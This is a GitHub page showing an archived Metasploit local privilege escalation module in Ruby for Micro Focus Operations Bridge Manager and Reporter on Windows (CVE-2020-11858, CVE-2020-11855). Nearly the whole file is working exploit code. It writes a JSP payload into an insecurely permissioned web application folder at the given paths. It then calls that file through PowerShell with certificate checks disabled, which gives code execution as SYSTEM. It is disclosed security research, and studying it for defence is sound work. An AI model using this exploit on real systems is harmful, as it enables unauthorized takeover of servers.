forked from pedrib/PoC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
microfocus_operations_privesc.rb
142 lines (128 loc) · 5.14 KB
/
microfocus_operations_privesc.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
# NOTE !!!
# This exploit is kept here for archiving purposes only.
# Please refer to and use the version that has been accepted into the Metasploit framework.
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Windows::Powershell
include Msf::Exploit::EXE
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Micro Focus Operations Bridge Manager / Reporter Local Privilege Escalation',
'Description' => %q{
This module exploits an incorrectly permissioned folder in Micro Focus Operations Bridge
Manager and Operations Bridge Reporter.
An unprivileged user (such as Guest) can drop a JSP file in an exploded WAR directory and
then access it without authentication by making a request to the OBM / OBR server.
This will result in automatic code execution as SYSTEM. This module has been tested on
OBM 2020.05 and OBR 10.40, but it should work out of the box on earlier versions too.
Note that it is only exploitable on Windows installations.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
],
'Platform' => 'win',
'Privileged' => true,
'SessionTypes' => ['meterpreter'],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Targets' =>
[
[
'Micro Focus Operations Bridge Manager (Windows) <= 2020.05',
{
'Path' => 'C:\HPBSM\AppServer\webapps\site.war\LB_Verify.jsp',
'Url' => '/topaz/LB_Verify.jsp',
'DefaultOptions' => { 'RPORT' => 443 }
}
],
[
'Micro Focus Operations Bridge Reporter (Windows) <= 10.40',
{
# for OBR only:
# - actually we can use any other name besides LB_Verify.jsp
# - we can also use any other folder, doesn't need to be BI, as long as
# it's reachable on the web server without authentication
'Path' => 'C:\HPE-OBR\PMDB\BOWebServer\webapps\BI\LB_Verify.jsp',
'Url' => '/BI/LB_Verify.jsp',
'DefaultOptions' => { 'RPORT' => 8443 }
}
]
],
'References' =>
[
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md'],
[ 'CVE', '2020-11858'],
[ 'CVE', '2020-11855'],
[ 'ZDI', '20-1326'],
[ 'ZDI', '20-1217'],
],
'DisclosureDate' => '2020-10-28',
'DefaultTarget' => 0
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
])
end
# paste this here to avoid including Exploit::Remote::HttpClient, which then requires RHOSTS
def normalize_uri(*strs)
new_str = strs * '/'
new_str = new_str.gsub!('//', '/') while new_str.index('//')
# Makes sure there's a starting slash
unless new_str[0, 1] == '/'
new_str = '/' + new_str
end
new_str
end
def exploit
unless session.type == 'meterpreter'
fail_with(Failure::None, 'Only meterpreter sessions are supported')
end
unless have_powershell?
fail_with(Failure::None, 'No Powershell is installed on the host')
end
# according to /lib/msf/core/post/file.rb this is not binary safe on Windows, but we don't care, it's JSP
payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)
write_file(target['Path'], payload_jsp)
if datastore['SSL']
prefix = 'https://'
# Code below allows us to perform TLS requests to servers with self signed certs
# In Powershell 5.1, we can simply use -SkipCertificateCheck, but in older versions we need this
# Taken from https://stackoverflow.com/questions/11696944/powershell-v3-invoke-webrequest-https-error
ps_cmd = %[
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
$AllProtocols = [System.Net.SecurityProtocolType]'Ssl3,Tls,Tls11,Tls12'
[System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
]
else
prefix = 'http://'
ps_cmd = ''
end
uri = "#{prefix}127.0.0.1:#{datastore['RPORT']}" + normalize_uri(datastore['TARGETURI'], target['Url'])
print_status("JSP dropped, calling it @ #{uri}")
ps_cmd += "Invoke-WebRequest -Uri #{uri}"
execute_script(ps_cmd)
end
end